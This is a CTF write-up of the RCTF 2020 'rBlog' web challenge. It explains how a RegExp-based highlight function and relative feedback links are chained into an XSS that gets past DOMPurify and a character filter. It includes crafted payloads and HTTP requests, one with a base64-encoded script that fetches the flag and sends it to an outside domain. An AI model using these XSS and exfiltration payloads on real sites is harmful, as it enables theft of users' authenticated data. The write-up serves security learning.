RCTF 2020 rBlog writeup
发表于 2020 年 6 月 1 日
Apparently the challenge "rBlog" is based on a blog service. Going through the provided source code, it's easy to determine following interfaces:
- User registration is closed, so the login and logout functions only work for admin(XSS bot);
highlight_word
function in posts page takes user input and makes changes to DOM accordingly;- Anonymous user can create a feedback which can only be viewed by authenticated user(XSS bot);
- Flag is in
/posts/flag
, also for authenticated user only.
Firstly let's take a look into the feedback function.
for (let i of resp.data) {
let params = new URLSearchParams()
params.set('highlight', i.highlight_word)
if (i.link.includes('/') || i.link.includes('\\')) {
continue; // bye bye hackers uwu
}
let a = document.createElement('a')
a.href = `${i.link}?${params.toString()}`
a.text = `${i.ip}: ${a.href}`
feedback_list.appendChild(a)
feedback_list.appendChild(document.createElement('br'))
}
feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)
A new feedback is sent in this way:
POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Connection: close
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
postid=8dfaa99d-da9b-4e90-954e-0f97a6917b91&highlight=writeup
When admin visits /posts/feedback
to view the feedbacks, <a>
tags is created like:
<a href="8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup">harmless texts...</a>
Since the feedback page is on route /pages/feedback
, the relative URL will surely bring the admin to /pages/8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup
, the right page. While the only restriction here is the postid
should never contain any /
or \
, technically we now are able to create:
<a href="ANYTHING_BUT_SLASHES_OR_BACKSLASHES?highlight=ANYTHING">harmless texts...</a>
Generally we would come up with the idea of using javascript:
to build a classical XSS here, but the DOM is sanitized by DOMPurify, no chance for javascript:
today. As for data:html;base64,...
, Chrome would refuses to navigate from http/https to data:
via <a>
tag. So let's just leave it here for now and move on to the highlight_word function:
function highlight_word() {
u = new URL(location)
hl = u.searchParams.get('highlight') || ''
if (hl) {
// ban html tags
if (hl.includes('<') || hl.includes('>') || hl.length > 36) {
u.searchParams.delete('highlight')
history.replaceState('', '', u.href)
alert('⚠️ illegal highlight word')
} else {
// why the heck this only highlights the first occurrence? stupid javascript 😠
// content.innerHTML = content.innerHTML.replace(hl, `<b class="hl">${hl}</b>`)
hl_all = new RegExp(hl, 'g')
replacement = `<b class="hl">${hl}</b>`
post_content.innerHTML = post_content.innerHTML.replace(hl_all, replacement)
let b = document.querySelector('b[class=hl]')
if (b) {
typeof b.scrollIntoViewIfNeeded === "function" ? b.scrollIntoViewIfNeeded() : b.scrollIntoView()
}
}
}
}
This function extracts the param highlight
from current URL into variable hl
, and replace all the occurrences in DOM with styled <b>
tags. Zszz(众所周知/As we all know), if we pass a string as the first argument to String.replace()
, only the first match will be replaced. To replace all matches, we need to pass a RegExp object with g
(global) flag.
This is exactly how this highlighting function has been coded. We are able to modify the DOM with highlight
param:
post_content.innerHTML.replace(/YOUR_HIGHLIGHT_WORDS/g, '<b class="hl">YOUR_HIGHLIGHT_WORDS</b>')
And here comes the tricky part: other than plain texts, the "replacement" could be a valid RegExp, which means we can do content injections like this:
The RegExp matches word do
and replaces it with <b class="hl">do|LUL_CONTENT_INJECTION</b>
. But how do we inject HTML tags? <
or >
are not allowed in hl
! If you ever read the docs of String.prototype.replace(), this table should raise your eyebrows:
You can really use those replacement patterns to introduce disallowed characters:
I crafted this payload with 19 out of 36 chars could be filled with javascript codes:
$`style%20onload=ZZZZZZZZZZZZZZZZZZZ%0a|
Now we get a reflected-XSS in highlight param, but obviously 36 chars are not enough to carry our payload to fetch the flag. So we need another legit trick here. You can actually find an interesting behavior with following codes:
If the href attribute starts with a different HTTP(s) protocol the current location is loaded with, it will not be recognized as a relative URL.
Finally we can create a feedback with postid http:DOMAIN_OR_IP:PORT
which would lead the XSS bot to our own HTTP server when he clicks the <a>
tag. Smuggle our payload in window.name
and redirect to the reflected-XSS to eval(top.name)
.
Update: Some came up with this unintended solution exploiting the u.search
and a longer postid
:
POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Connection: close
Content-Length: 271
Content-Type: application/x-www-form-urlencoded
postid=205f4402-efeb-4200-97a8-808a3159157f?`(eval(atob(`ZmV0Y2goJ2ZsYWcnKS50aGVuKHI9PntyLnRleHQoKS50aGVuKHQ9Pntsb2NhdGlvbj0nLy9jZjQzZGZmZS5uMHAuY28vJytlc2NhcGUodCl9KX0p`)))%3b`%26highlight=$%2526style%2520onload=eval(%2522%2560%2522%252Bu.search)%250A|.%26`#&highlight=1
// prompt('500IQ')
https://rblog.rctf2020.rois.io/posts/205f4402-efeb-4200-97a8-808a3159157f?`(prompt(`500IQ`));`&highlight=$%26style%20onload=eval(%22%60%22%2Bu.search)%0A|.&`#